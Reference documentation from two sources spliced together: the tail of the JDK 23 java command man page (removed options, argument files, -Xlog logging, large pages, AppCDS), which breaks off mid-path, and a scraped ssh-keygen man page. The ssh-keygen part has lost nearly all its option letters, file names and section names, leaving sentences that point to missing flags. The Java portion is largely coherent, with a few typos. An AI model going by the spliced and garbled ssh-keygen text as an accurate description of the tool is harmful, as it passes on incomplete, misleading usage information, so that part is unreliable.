Controlled relaxed strong encapsulation, as defined in JEP 261 [https://openjdk.org/jeps/261#Relaxed-strong-encapsulation]. This option was deprecated in JDK 16 by JEP 396 [https://openjdk.org/jeps/396] and made obsolete in JDK 17 by JEP 403 [https://openjdk.org/jeps/403].

-XX:+ScavengeBeforeFullGC
Enables GC of the young generation before each full GC. This option is enabled by default. It is recommended that you don’t disable it, because scavenging the young generation before a full GC can reduce the number of objects reachable from the old generation space into the young generation space. To disable GC of the young generation before each full GC, specify the option -XX:-ScavengeBeforeFullGC.

-XX:InitialRAMFraction=ratio
Sets the initial amount of memory that the JVM may use for the Java heap before applying ergonomics heuristics as a ratio of the maximum amount determined as described in the -XX:MaxRAM option. The default value is 64.

Use the option -XX:InitialRAMPercentage instead.

-XX:MaxRAMFraction=ratio
Sets the maximum amount of memory that the JVM may use for the Java heap before applying ergonomics heuristics as a fraction of the maximum amount determined as described in the -XX:MaxRAM option. The default value is 4.

Specifying this option disables automatic use of compressed oops if the combined result of this and other options influencing the maximum amount of memory is larger than the range of memory addressable by compressed oops. See -XX:UseCompressedOops for further information about compressed oops.

Use the option -XX:MaxRAMPercentage instead.

-XX:MinRAMFraction=ratio
Sets the maximum amount of memory that the JVM may use for the Java heap before applying ergonomics heuristics as a fraction of the maximum amount determined as described in the -XX:MaxRAM option for small heaps. A small heap is a heap of approximately 125 MB. The default value is 2.

Use the option -XX:MinRAMPercentage instead.

REMOVED JAVA OPTIONS

These java options have been removed in JDK 23 and using them results in an error of:

Unrecognized VM option option-name

-XX:+UseHugeTLBFS
Linux only: This option is the equivalent of specifying -XX:+UseLargePages. This option is disabled by default. This option pre-allocates all large pages up-front, when memory is reserved; consequently the JVM can’t dynamically grow or shrink large pages memory areas; see -XX:UseTransparentHugePages if you want this behavior.

-XX:+UseSHM
Linux only: Enables the JVM to use shared memory to set up large pages.

For the lists and descriptions of options removed in previous releases see the Removed Java Options section in:

  • The java Command, Release 22 [https://docs.oracle.com/en/java/javase/22/docs/specs/man/java.html]

  • The java Command, Release 21 [https://docs.oracle.com/en/java/javase/21/docs/specs/man/java.html]

  • The java Command, Release 20 [https://docs.oracle.com/en/java/javase/20/docs/specs/man/java.html]

  • The java Command, Release 19 [https://docs.oracle.com/en/java/javase/19/docs/specs/man/java.html]

  • The java Command, Release 18 [https://docs.oracle.com/en/java/javase/18/docs/specs/man/java.html]

  • The java Command, Release 17 [https://docs.oracle.com/en/java/javase/17/docs/specs/man/java.html]

  • The java Command, Release 16 [https://docs.oracle.com/en/java/javase/16/docs/specs/man/java.html]

  • The java Command, Release 15 [https://docs.oracle.com/en/java/javase/15/docs/specs/man/java.html]

  • The java Command, Release 14 [https://docs.oracle.com/en/java/javase/14/docs/specs/man/java.html]

  • The java Command, Release 13 [https://docs.oracle.com/en/java/javase/13/docs/specs/man/java.html]

  • Java Platform, Standard Edition Tools Reference, Release 12 [https://docs.oracle.com/en/java/javase/12/tools/java.html#GUID-3B1CE181-CD30-4178-9602-230B800D4FAE]

  • Java Platform, Standard Edition Tools Reference, Release 11 [https://docs.oracle.com/en/java/javase/11/tools/java.html#GUID-741FC470-AA3E-494A-8D2B-1B1FE4A990D1]

  • Java Platform, Standard Edition Tools Reference, Release 10 [https://docs.oracle.com/javase/10/tools/java.htm#JSWOR624]

  • Java Platform, Standard Edition Tools Reference, Release 9 [https://docs.oracle.com/javase/9/tools/java.htm#JSWOR624]

  • Java Platform, Standard Edition Tools Reference, Release 8 for Oracle JDK on Windows [https://docs.oracle.com/javase/8/docs/technotes/tools/windows/java.html#BGBCIEFC]

  • Java Platform, Standard Edition Tools Reference, Release 8 for Oracle JDK on Solaris, Linux, and macOS [https://docs.oracle.com/javase/8/docs/technotes/tools/unix/java.html#BGBCIEFC]

JAVA COMMAND-LINE ARGUMENT FILES

You can shorten or simplify the java command by using @ argument files to specify one or more text files that contain arguments, such as options and class names, which are passed to the java command. This let’s you to create java commands of any length on any operating system.

In the command line, use the at sign (@) prefix to identify an argument file that contains java options and class names. When the java command encounters a file beginning with the at sign (@), it expands the contents of that file into an argument list just as they would be specified on the command line.

The java launcher expands the argument file contents until it encounters the –disable-@files option. You can use the –disable-@files option anywhere on the command line, including in an argument file, to stop @ argument files expansion.

The following items describe the syntax of java argument files:

  • The argument file must contain only ASCII characters or characters in system default encoding that’s ASCII friendly, such as UTF-8.

  • The argument file size must not exceed MAXINT (2,147,483,647) bytes.

  • The launcher doesn’t expand wildcards that are present within an argument file.

  • Use white space or new line characters to separate arguments included in the file.

  • White space includes a white space character, , , , and .

    For example, it is possible to have a path with a space, such as c:\Program Files that can be specified as either “c:\Program Files” or, to avoid an escape, c:\Program" “Files.

  • Any option that contains spaces, such as a path component, must be within quotation marks using quotation (’”’) characters in its entirety.

  • A string within quotation marks may contain the characters , , , and . They are converted to their respective ASCII codes.

  • If a file name contains embedded spaces, then put the whole file name in double quotation marks.

  • File names in an argument file are relative to the current directory, not to the location of the argument file.

  • Use the number sign # in the argument file to identify comments. All characters following the # are ignored until the end of line.

  • Additional at sign @ prefixes to @ prefixed options act as an escape, (the first @ is removed and the rest of the arguments are presented to the launcher literally).

  • Lines may be continued using the continuation character (\ at the end-of-line. The two lines are concatenated with the leading white spaces trimmed. To prevent trimming the leading white spaces, a continuation character (\ may be placed at the first column.

  • Because backslash (\ is an escape character, a backslash character must be escaped with another backslash character.

  • Partial quote is allowed and is closed by an end-of-file.

  • An open quote stops at end-of-line unless \ is the last character, which then joins the next line by removing all leading white space characters.

  • Wildcards (*) aren’t allowed in these lists (such as specifying *.java).

  • Use of the at sign (@) to recursively interpret files isn’t supported.

Example of Open or Partial Quotes in an Argument File

In the argument file,

-cp "lib/
cool/
app/
jars

this is interpreted as:

-cp lib/cool/app/jars

Example of a Backslash Character Escaped with Another Backslash Character in an Argument File

To output the following:

-cp c:\Program Files (x86)\Java\jre\libxt;c:\Program Files\Java\jre9\libxt

The backslash character must be specified in the argument file as:

-cp “c:\Program Files (x86)\Java\jre\lib\ext;c:\Program Files\Java\jre9\lib\ext”

Example of an EOL Escape Used to Force Concatenation of Lines in an Argument File

In the argument file,

-cp "/lib/cool app/jars:\
    /lib/another app/jars"

This is interpreted as:

-cp /lib/cool app/jars:/lib/another app/jars

Example of Line Continuation with Leading Spaces in an Argument File

In the argument file,

-cp "/lib/cool\
pp/jars"

This is interpreted as:

-cp /lib/cool app/jars

Examples of Using Single Argument File

You can use a single argument file, such as myargumentfile in the following example, to hold all required java arguments:

java @myargumentfile

Examples of Using Argument Files with Paths

You can include relative paths in argument files; however, they’re relative to the current working directory and not to the paths of the argument files themselves. In the following example, path1/options and path2/options represent argument files with different paths. Any relative paths that they contain are relative to the current working directory and not to the argument files:

java @path1/options @path2/classes

CODE HEAP STATE ANALYTICS

Overview

There are occasions when having insight into the current state of the JVM code heap would be helpful to answer questions such as:

  • Why was the JIT turned off and then on again and again?

  • Where has all the code heap space gone?

  • Why is the method sweeper not working effectively?

To provide this insight, a code heap state analytics feature has been implemented that enables on-the-fly analysis of the code heap. The analytics process is divided into two parts. The first part examines the entire code heap and aggregates all information that is believed to be useful or important. The second part consists of several independent steps that print the collected information with an emphasis on different aspects of the data. Data collection and printing are done on an “on request” basis.

Syntax

Requests for real-time, on-the-fly analysis can be issued with the following command:

jcmd pid Compiler.CodeHeap_Analytics [function] [granularity]

If you are only interested in how the code heap looks like after running a sample workload, you can use the command line option:

-Xlog:codecache=Trace

To see the code heap state when a “CodeCache full” condition exists, start the VM with the command line option:

-Xlog:codecache=Debug

See CodeHeap State Analytics (OpenJDK) [https://bugs.openjdk.org/secure/attachment/75649/JVM_CodeHeap_StateAnalytics_V2.pdf] for a detailed description of the code heap state analytics feature, the supported functions, and the granularity options.

ENABLE LOGGING WITH THE JVM UNIFIED LOGGING FRAMEWORK

You use the -Xlog option to configure or enable logging with the Java Virtual Machine (JVM) unified logging framework.

Synopsis

-Xlog[:[what][:[output][:[decorators][:output-options[,…]]]]]

-Xlog:directive

what
Specifies a combination of tags and levels of the form tag1[+tag2…][*][=level][,…]. Unless the wildcard (*) is specified, only log messages tagged with exactly the tags specified are matched. See -Xlog Tags and Levels.

output
Sets the type of output. Omitting the output type defaults to stdout. See -Xlog Output.

decorators
Configures the output to use a custom set of decorators. Omitting decorators defaults to uptime, level, and tags. See Decorations.

output-options
Sets the -Xlog logging output options.

directive
A global option or subcommand: help, disable, async

Description

The Java Virtual Machine (JVM) unified logging framework provides a common logging system for all components of the JVM. GC logging for the JVM has been changed to use the new logging framework. The mapping of old GC flags to the corresponding new Xlog configuration is described in Convert GC Logging Flags to Xlog. In addition, runtime logging has also been changed to use the JVM unified logging framework. The mapping of legacy runtime logging flags to the corresponding new Xlog configuration is described in Convert Runtime Logging Flags to Xlog.

The following provides quick reference to the -Xlog command and syntax for options:

-Xlog
Enables JVM logging on an info level.

-Xlog:help
Prints -Xlog usage syntax and available tags, levels, and decorators along with example command lines with explanations.

-Xlog:disable
Turns off all logging and clears all configuration of the logging framework including the default configuration for warnings and errors.

-Xlog[:option]
Applies multiple arguments in the order that they appear on the command line. Multiple -Xlog arguments for the same output override each other in their given order.

The option is set as:

[tag-selection][:[output][:[decorators][:output-options]]]

Omitting the tag-selection defaults to a tag-set of all and a level of info.

tag[+…] all

The all tag is a meta tag consisting of all tag-sets available. The asterisk * in a tag set definition denotes a wildcard tag match. Matching with a wildcard selects all tag sets that contain at least the specified tags. Without the wildcard, only exact matches of the specified tag sets are selected.

output-options is

filecount=file-count filesize=file size with optional K, M or G suffix foldmultilines=<true|false>

When foldmultilines is true, a log event that consists of multiple lines will be folded into a single line by replacing newline characters with the sequence ‘\ and ’n’ in the output. Existing single backslash characters will also be replaced with a sequence of two backslashes so that the conversion can be reversed. This option is safe to use with UTF-8 character encodings, but other encodings may not work. For example, it may incorrectly convert multi-byte sequences in Shift JIS and BIG5.

Default Configuration

When the -Xlog option and nothing else is specified on the command line, the default configuration is used. The default configuration logs all messages with a level that matches either warning or error regardless of what tags the message is associated with. The default configuration is equivalent to entering the following on the command line:

-Xlog:all=warning:stdout:uptime,level,tags

Controlling Logging at Runtime

Logging can also be controlled at run time through Diagnostic Commands (with the jcmd utility). Everything that can be specified on the command line can also be specified dynamically with the VM.log command. As the diagnostic commands are automatically exposed as MBeans, you can use JMX to change logging configuration at run time.

-Xlog Tags and Levels

Each log message has a level and a tag set associated with it. The level of the message corresponds to its details, and the tag set corresponds to what the message contains or which JVM component it involves (such as, gc, jit, or os). Mapping GC flags to the Xlog configuration is described in Convert GC Logging Flags to Xlog. Mapping legacy runtime logging flags to the corresponding Xlog configuration is described in Convert Runtime Logging Flags to Xlog.

Available log levels:

  • off

  • trace

  • debug

  • info

  • warning

  • error

Available log tags:

There are literally dozens of log tags, which in the right combinations, will enable a range of logging output. The full set of available log tags can be seen using -Xlog:help. Specifying all instead of a tag combination matches all tag combinations.

-Xlog Output

The -Xlog option supports the following types of outputs:

  • stdout — Sends output to stdout

  • stderr — Sends output to stderr

  • file=filename — Sends output to text file(s).

When using file=filename, specifying %p, %t and/or %hn in the file name expands to the JVM’s PID, startup timestamp and host name, respectively. You can also configure text files to handle file rotation based on file size and a number of files to rotate. For example, to rotate the log file every 10 MB and keep 5 files in rotation, specify the options filesize=10M, filecount=5. The target size of the files isn’t guaranteed to be exact, it’s just an approximate value. Files are rotated by default with up to 5 rotated files of target size 20 MB, unless configured otherwise. Specifying filecount=0 means that the log file shouldn’t be rotated. There’s a possibility of the pre-existing log file getting overwritten.

-Xlog Output Mode

By default logging messages are output synchronously - each log message is written to the designated output when the logging call is made. But you can instead use asynchronous logging mode by specifying:

-Xlog:async
Write all logging asynchronously.

In asynchronous logging mode, log sites enqueue all logging messages to an intermediate buffer and a standalone thread is responsible for flushing them to the corresponding outputs. The intermediate buffer is bounded and on buffer exhaustion the enqueuing message is discarded. Log entry write operations are guaranteed non-blocking.

The option -XX:AsyncLogBufferSize=N specifies the memory budget in bytes for the intermediate buffer. The default value should be big enough to cater for most cases. Users can provide a custom value to trade memory overhead for log accuracy if they need to.

Decorations

Logging messages are decorated with information about the message. You can configure each output to use a custom set of decorators. The order of the output is always the same as listed in the table. You can configure the decorations to be used at run time. Decorations are prepended to the log message. For example:

[6.567s][info][gc,old] Old collection complete

Omitting decorators defaults to uptime, level, and tags. The none decorator is special and is used to turn off all decorations.

time (t), utctime (utc), uptime (u), timemillis (tm), uptimemillis (um), timenanos (tn), uptimenanos (un), hostname (hn), pid (p), tid (ti), level (l), tags (tg) decorators can also be specified as none for no decoration.

Logging Messages Decorations

DecorationsDescription
time or tCurrent time and date in ISO-8601 format.
utctime or utcUniversal Time Coordinated or Coordinated Universal Time.
uptime or uTime since the start of the JVM in seconds and milliseconds. For example, 6.567s.
timemillis or tmThe same value as generated by System.currentTimeMillis()
uptimemillis or umMilliseconds since the JVM started.
timenanos or tnThe same value generated by System.nanoTime().
uptimenanos or unNanoseconds since the JVM started.
hostname or hnThe host name.
pid or pThe process identifier.
tid or tiThe thread identifier.
level or lThe level associated with the log message.
tags or tgThe tag-set associated with the log message.

Convert GC Logging Flags to Xlog

Legacy GC Logging Flags to Xlog Configuration Mapping

Legacy Garbage Collection (GC) FlagXlog ConfigurationComment
G1PrintHeapRegions-Xlog:gc+region=traceNot Applicable
GCLogFileSizeNo configuration availableLog rotation is handled by the framework.
NumberOfGCLogFilesNot ApplicableLog rotation is handled by the framework.
PrintAdaptiveSizePolicy-Xlog:gc+ergo*=levelUse a level of debug for most of the information, or a level of trace for all of what was logged for PrintAdaptiveSizePolicy.
PrintGC-Xlog:gcNot Applicable
PrintGCApplicationConcurrentTime-Xlog:safepointNote that PrintGCApplicationConcurrentTime and PrintGCApplicationStoppedTime are logged on the same tag and aren't separated in the new logging.
PrintGCApplicationStoppedTime-Xlog:safepointNote that PrintGCApplicationConcurrentTime and PrintGCApplicationStoppedTime are logged on the same tag and not separated in the new logging.
PrintGCCauseNot ApplicableGC cause is now always logged.
PrintGCDateStampsNot ApplicableDate stamps are logged by the framework.
PrintGCDetails-Xlog:gc*Not Applicable
PrintGCIDNot ApplicableGC ID is now always logged.
PrintGCTaskTimeStamps-Xlog:gc+task*=debugNot Applicable
PrintGCTimeStampsNot ApplicableTime stamps are logged by the framework.
PrintHeapAtGC-Xlog:gc+heap=traceNot Applicable
PrintReferenceGC-Xlog:gc+ref*=debugNote that in the old logging, PrintReferenceGC had an effect only if PrintGCDetails was also enabled.
PrintStringDeduplicationStatistics`-Xlog:gc+stringdedup*=debug` Not Applicable
PrintTenuringDistribution-Xlog:gc+age*=levelUse a level of debug for the most relevant information, or a level of trace for all of what was logged for PrintTenuringDistribution.
UseGCLogFileRotationNot ApplicableWhat was logged for PrintTenuringDistribution.

Convert Runtime Logging Flags to Xlog

These legacy flags are no longer recognized and will cause an error if used directly. Use their unified logging equivalent instead.

Runtime Logging Flags to Xlog Configuration Mapping

Legacy Runtime FlagXlog ConfigurationComment
TraceExceptions-Xlog:exceptions=infoNot Applicable
TraceClassLoading-Xlog:class+load=levelUse level=info for regular information, or level=debug for additional information. In Unified Logging syntax, -verbose:class equals -Xlog:class+load=info,class+unload=info.
TraceClassLoadingPreorder-Xlog:class+preorder=debugNot Applicable
TraceClassUnloading-Xlog:class+unload=levelUse level=info for regular information, or level=trace for additional information. In Unified Logging syntax, -verbose:class equals -Xlog:class+load=info,class+unload=info.
VerboseVerification-Xlog:verification=infoNot Applicable
TraceClassPaths-Xlog:class+path=infoNot Applicable
TraceClassResolution-Xlog:class+resolve=debugNot Applicable
TraceClassInitialization-Xlog:class+init=infoNot Applicable
TraceLoaderConstraints-Xlog:class+loader+constraints=infoNot Applicable
TraceClassLoaderData-Xlog:class+loader+data=levelUse level=debug for regular information or level=trace for additional information.
TraceSafepointCleanupTime-Xlog:safepoint+cleanup=infoNot Applicable
TraceSafepoint-Xlog:safepoint=debugNot Applicable
TraceMonitorInflation-Xlog:monitorinflation=debugNot Applicable
TraceRedefineClasses-Xlog:redefine+class*=levellevel=info, debug, and trace provide increasing amounts of information.

-Xlog Usage Examples

The following are -Xlog examples.

-Xlog
Logs all messages by using the info level to stdout with uptime, levels, and tags decorations. This is equivalent to using:

-Xlog:all=info:stdout:uptime,levels,tags

-Xlog:gc
Logs messages tagged with the gc tag using info level to stdout. The default configuration for all other messages at level warning is in effect.

-Xlog:gc,safepoint
Logs messages tagged either with the gc or safepoint tags, both using the info level, to stdout, with default decorations. Messages tagged with both gc and safepoint won’t be logged.

-Xlog:gc+ref=debug
Logs messages tagged with both gc and ref tags, using the debug level to stdout, with default decorations. Messages tagged only with one of the two tags won’t be logged.

-Xlog:gc=debug:file=gc.txt:none
Logs messages tagged with the gc tag using the debug level to a file called gc.txt with no decorations. The default configuration for all other messages at level warning is still in effect.

-Xlog:gc=trace:file=gctrace.txt:uptimemillis,pids:filecount=5,filesize=1024
Logs messages tagged with the gc tag using the trace level to a rotating file set with 5 files with size 1 MB with the base name gctrace.txt and uses decorations uptimemillis and pid.

The default configuration for all other messages at level warning is still in effect.

-Xlog:gc::uptime,tid
Logs messages tagged with the gc tag using the default ‘info’ level to default the output stdout and uses decorations uptime and tid. The default configuration for all other messages at level warning is still in effect.

-Xlog:gc*=info,safepoint*=off
Logs messages tagged with at least gc using the info level, but turns off logging of messages tagged with safepoint. Messages tagged with both gc and safepoint won’t be logged.

-Xlog:disable -Xlog:safepoint=trace:safepointtrace.txt
Turns off all logging, including warnings and errors, and then enables messages tagged with safepointusing tracelevel to the file safepointtrace.txt. The default configuration doesn’t apply, because the command line started with -Xlog:disable.

Complex -Xlog Usage Examples

The following describes a few complex examples of using the -Xlog option.

-Xlog:gc+class*=debug
Logs messages tagged with at least gc and class tags using the debug level to stdout. The default configuration for all other messages at the level warning is still in effect

-Xlog:gc+meta*=trace,class*=off:file=gcmetatrace.txt
Logs messages tagged with at least the gc and meta tags using the trace level to the file metatrace.txt but turns off all messages tagged with class. Messages tagged with gc, meta, and class aren’t be logged as class* is set to off. The default configuration for all other messages at level warning is in effect except for those that include class.

-Xlog:gc+meta=trace
Logs messages tagged with exactly the gc and meta tags using the trace level to stdout. The default configuration for all other messages at level warning is still be in effect.

-Xlog:gc+class+heap*=debug,meta*=warning,threads*=off
Logs messages tagged with at least gc, class, and heap tags using the trace level to stdout but only log messages tagged with meta with level. The default configuration for all other messages at the level warning is in effect except for those that include threads.

VALIDATE JAVA VIRTUAL MACHINE FLAG ARGUMENTS

You use values provided to all Java Virtual Machine (JVM) command-line flags for validation and, if the input value is invalid or out-of-range, then an appropriate error message is displayed.

Whether they’re set ergonomically, in a command line, by an input tool, or through the APIs (for example, classes contained in the package java.lang.management) the values provided to all Java Virtual Machine (JVM) command-line flags are validated. Ergonomics are described in Java Platform, Standard Edition HotSpot Virtual Machine Garbage Collection Tuning Guide.

Range and constraints are validated either when all flags have their values set during JVM initialization or a flag’s value is changed during runtime (for example using the jcmd tool). The JVM is terminated if a value violates either the range or constraint check and an appropriate error message is printed on the error stream.

For example, if a flag violates a range or a constraint check, then the JVM exits with an error:

java -XX:AllocatePrefetchStyle=5 -version
intx AllocatePrefetchStyle=5 is outside the allowed range [ 0 ... 3 ]
Improperly specified VM option 'AllocatePrefetchStyle=5'
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.

The flag -XX:+PrintFlagsRanges prints the range of all the flags. This flag allows automatic testing of the flags by the values provided by the ranges. For the flags that have the ranges specified, the type, name, and the actual range is printed in the output.

For example,

intx   ThreadStackSize [ 0 ... 9007199254740987 ] {pd product}

For the flags that don’t have the range specified, the values aren’t displayed in the print out. For example:

size_t NewSize         [   ...                  ] {product}

This helps to identify the flags that need to be implemented. The automatic testing framework can skip those flags that don’t have values and aren’t implemented.

LARGE PAGES

You use large pages, also known as huge pages, as memory pages that are significantly larger than the standard memory page size (which varies depending on the processor and operating system). Large pages optimize processor Translation-Lookaside Buffers.

A Translation-Lookaside Buffer (TLB) is a page translation cache that holds the most-recently used virtual-to-physical address translations. A TLB is a scarce system resource. A TLB miss can be costly because the processor must then read from the hierarchical page table, which may require multiple memory accesses. By using a larger memory page size, a single TLB entry can represent a larger memory range. This results in less pressure on a TLB, and memory-intensive applications may have better performance.

However, using large pages can negatively affect system performance. For example, when a large amount of memory is pinned by an application, it may create a shortage of regular memory and cause excessive paging in other applications and slow down the entire system. Also, a system that has been up for a long time could produce excessive fragmentation, which could make it impossible to reserve enough large page memory. When this happens, either the OS or JVM reverts to using regular pages.

Linux and Windows support large pages.

Large Pages Support for Linux

Linux supports large pages since version 2.6. To check if your environment supports large pages, try the following:

# cat /proc/meminfo | grep Huge
HugePages_Total: 0
HugePages_Free: 0
...
Hugepagesize: 2048 kB

If the output contains items prefixed with “Huge”, then your system supports large pages. The values may vary depending on environment. The Hugepagesize field shows the default large page size in your environment, and the other fields show details for large pages of this size. Newer kernels have support for multiple large page sizes. To list the supported page sizes, run this:

# ls /sys/kernel/mm/hugepages/
hugepages-1048576kB  hugepages-2048kB

The above environment supports 2 MB and 1 GB large pages, but they need to be configured so that the JVM can use them. When using large pages and not enabling transparent huge pages (option -XX:+UseTransparentHugePages), the number of large pages must be pre-allocated. For example, to enable 8 GB of memory to be backed by 2 MB large pages, login as root and run:

# echo 4096 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

It is always recommended to check the value of nr_hugepages after the request to make sure the kernel was able to allocate the requested number of large pages.

Note: The values contained in /proc and /sys reset after you reboot your system, so may want to set them in an initialization script (for example, rc.local or sysctl.conf).

If you configure the OS kernel parameters to enable use of large pages, the Java processes may allocate large pages for the Java heap as well as other internal areas, for example:

  • Code cache

  • Marking bitmaps

Consequently, if you configure the nr_hugepages parameter to the size of the Java heap, then the JVM can still fail to allocate the heap using large pages because other areas such as the code cache might already have used some of the configured large pages.

Large Pages Support for Windows

To use large pages support on Windows, the administrator must first assign additional privileges to the user who is running the application:

  1. Select Control Panel, Administrative Tools, and then Local Security Policy.

  2. Select Local Policies and then User Rights Assignment.

  3. Double-click Lock pages in memory, then add users and/or groups.

  4. Reboot your system.

Note that these steps are required even if it’s the administrator who’s running the application, because administrators by default don’t have the privilege to lock pages in memory.

APPLICATION CLASS DATA SHARING

Application Class Data Sharing (AppCDS) stores classes used by your applications in an archive file. Since these classes are stored in a format that can be loaded very quickly (compared to classes stored in a JAR file), AppCDS can improve the start-up time of your applications. In addition, AppCDS can reduce the runtime memory footprint by sharing parts of these classes across multiple processes.

Classes in the CDS archive are stored in an optimized format that’s about 2 to 5 times larger than classes stored in JAR files or the JDK runtime image. Therefore, it’s a good idea to archive only those classes that are actually used by your application. These usually are just a small portion of all available classes. For example, your application may use only a few APIs provided by a large library.

Using CDS Archives

By default, in most JDK distributions, unless -Xshare:off is specified, the JVM starts up with a default CDS archive, which is usually located in JAVA_HOME/lib/server/classes.jsa (or JAVA_HOMEin\server

2053 - Linux cli command ssh-keygen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ssh-keygen and provides detailed information about the command ssh-keygen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ssh-keygen.

generates, manages and converts authentication keys for

can create keys for use by SSH protocol version 2.

The type of key to be generated is specified with the

option. If invoked without any arguments,

will generate an Ed25519 key.

is also used to generate groups for use in Diffie-Hellman group exchange (DH-GEX). See the

section for details.

Finally,

can be used to generate and update Key Revocation Lists, and to test whether given keys have been revoked by one. See the

section for details.

Normally each user wishing to use SSH with public key authentication runs this once to create the authentication key in

or

Additionally, the system administrator may use this to generate host keys.

Normally this program generates the key and asks for a file in which to store the private key. The public key is stored in a file with the same name but

appended. The program also asks for a passphrase. The passphrase may be empty to indicate no passphrase (host keys must have an empty passphrase), or it may be a string of arbitrary length. A passphrase is similar to a password, except it can be a phrase with a series of words, punctuation, numbers, whitespace, or any string of characters you want. Good passphrases are 10-30 characters long, are not simple sentences or otherwise easily guessable (English prose has only 1-2 bits of entropy per character, and provides very bad passphrases), and contain a mix of upper and lowercase letters, numbers, and non-alphanumeric characters. The passphrase can be changed later by using the

option.

There is no way to recover a lost passphrase. If the passphrase is lost or forgotten, a new key must be generated and the corresponding public key copied to other machines.

will by default write keys in an OpenSSH-specific format. This format is preferred as it offers better protection for keys at rest as well as allowing storage of key comments within the private key file itself. The key comment may be useful to help identify the key. The comment is initialized to

when the key is created, but can be changed using the

option.

It is still possible for

to write the previously-used PEM format private keys using the

flag. This may be used when generating new keys, and existing new-format keys may be converted using this option in conjunction with the

(change passphrase) flag.

After a key is generated,

will ask where the keys should be placed to be activated.

The options are as follows:

Generate host keys of all default key types (rsa, ecdsa, and ed25519) if they do not already exist. The host keys are generated with the default key file path, an empty passphrase, default bits for the key type, and default comment. If

has also been specified, its argument is used as a prefix to the default path for the resulting host key files. This is used by system administration scripts to generate new host keys.

When saving a private key, this option specifies the number of KDF (key derivation function, currently

rounds used. Higher numbers result in slower passphrase verification and increased resistance to brute-force password cracking (should the keys be stolen). The default is 16 rounds.

Show the bubblebabble digest of specified private or public key file.

Specifies the number of bits in the key to create. For RSA keys, the minimum size is 1024 bits and the default is 3072 bits. Generally, 3072 bits is considered sufficient. DSA keys must be exactly 1024 bits as specified by FIPS 186-2. For ECDSA keys, the

flag determines the key length by selecting from one of three elliptic curve sizes: 256, 384 or 521 bits. Attempting to use bit lengths other than these three values for ECDSA keys will fail. ECDSA-SK, Ed25519 and Ed25519-SK keys have a fixed length and the

flag will be ignored.

Provides a new comment.

Requests changing the comment in the private and public key files. The program will prompt for the file containing the private keys, for the passphrase if the key has one, and for the new comment.

Download the public keys provided by the PKCS#11 shared library

When used in combination with

this option indicates that a CA key resides in a PKCS#11 token (see the

section for details).

Specifies the hash algorithm used when displaying key fingerprints. Valid options are:

and

The default is

This option will read a private or public OpenSSH key file and print to stdout a public key in one of the formats specified by the

option. The default export format is

This option allows exporting OpenSSH keys for use by other programs, including several commercial SSH implementations.

Search for the specified

(with optional port number) in a

file, listing any occurrences found. This option is useful to find hashed host names or addresses and may also be used in conjunction with the

option to print found keys in a hashed format.

Specifies the filename of the key file.

Use generic DNS format when printing fingerprint resource records using the

command.

Hash a

file. This replaces all hostnames and addresses with hashed representations within the specified file; the original content is moved to a file with a .old suffix. These hashes may be used normally by

and

but they do not reveal identifying information should the file’s contents be disclosed. This option will not modify existing hashed hostnames and is therefore safe to use on files that mix hashed and non-hashed names.

When signing a key, create a host certificate instead of a user certificate. See the

section for details.

Specify the key identity when signing a public key. See the

section for details.

This option will read an unencrypted private (or public) key file in the format specified by the

option and print an OpenSSH compatible private (or public) key to stdout. This option allows importing keys from other software, including several commercial SSH implementations. The default import format is

Download resident keys from a FIDO authenticator. Public and private key files will be written to the current directory for each downloaded key. If multiple FIDO authenticators are attached, keys will be downloaded from the first touched authenticator. See the

section for more information.

Generate a KRL file. In this mode,

will generate a KRL file at the location specified via the

flag that revokes every key or certificate presented on the command line. Keys/certificates to be revoked may be specified by public key file or using the format described in the

section.

Prints the contents of one or more certificates.

Show fingerprint of specified public key file. For RSA and DSA keys

tries to find the matching public key file and prints its fingerprint. If combined with

a visual ASCII art representation of the key is supplied with the fingerprint.

Generate candidate Diffie-Hellman Group Exchange (DH-GEX) parameters for eventual use by the

key exchange methods. The numbers generated by this operation must be further screened before use. See the

section for more information.

Screen candidate parameters for Diffie-Hellman Group Exchange. This will accept a list of candidate numbers and test that they are safe (Sophie Germain) primes with acceptable group generators. The results of this operation may be added to the

file. See the

section for more information.

Specify a key format for key generation, the

(import),

(export) conversion options, and the

change passphrase operation. The latter may be used to convert between OpenSSH private key and PEM private key formats. The supported key formats are:

(RFC 4716/SSH2 public or private key),

(PKCS8 public or private key) or

(PEM public key). By default OpenSSH will write newly-generated private keys in its own format, but when converting public keys for export the default format is

Setting a format of

when generating or updating a supported private key type will cause the key to be stored in the legacy PEM private key format.

Provides the new passphrase.

Specify one or more principals (user or host names) to be included in a certificate when signing a key. Multiple principals may be specified, separated by commas. See the

section for details.

Specify a key/value option. These are specific to the operation that

has been requested to perform.

When signing certificates, one of the options listed in the

section may be specified here.

When performing moduli generation or screening, one of the options listed in the

section may be specified.

When generating FIDO authenticator-backed keys, the options listed in the

section may be specified.

When performing signature-related options using the

flag, the following options are accepted:

Selects the hash algorithm to use for hashing the message to be signed. Valid algorithms are

and

The default is

Print the full public key to standard output after signature verification.

Specifies a time to use when validating signatures instead of the current time. The time may be specified as a date or time in the YYYYMMDD[Z] or in YYYYMMDDHHMM[SS][Z] formats. Dates and times will be interpreted in the current system time zone unless suffixed with a Z character, which causes them to be interpreted in the UTC time zone.

When generating SSHFP DNS records from public keys using the

flag, the following options are accepted:

Selects a hash algorithm to use when printing SSHFP records using the

flag. Valid algorithms are

and

The default is to print both.

The

option may be specified multiple times.

Provides the (old) passphrase.

Requests changing the passphrase of a private key file instead of creating a new private key. The program will prompt for the file containing the private key, for the old passphrase, and twice for the new passphrase.

Test whether keys have been revoked in a KRL. If the

option is also specified then the contents of the KRL will be printed.

Silence

Removes all keys belonging to the specified

(with optional port number) from a

file. This option is useful to delete hashed hosts (see the

option above).

Print the SSHFP fingerprint resource record named

for the specified public key file.

Certify (sign) a public key using the specified CA key. See the

section for details.

When generating a KRL,

specifies a path to a CA public key file used to revoke certificates directly by key ID or serial number. See the

section for details.

Specifies the type of key to create. The possible values are

or

This flag may also be used to specify the desired signature type when signing certificates using an RSA CA key. The available RSA signature variants are

(SHA1 signatures, not recommended),

and

(the default).

When used in combination with

or

this option indicates that a CA key resides in a

See the

section for more information.

Update a KRL. When specified with

keys listed via the command line are added to the existing KRL rather than a new KRL being created.

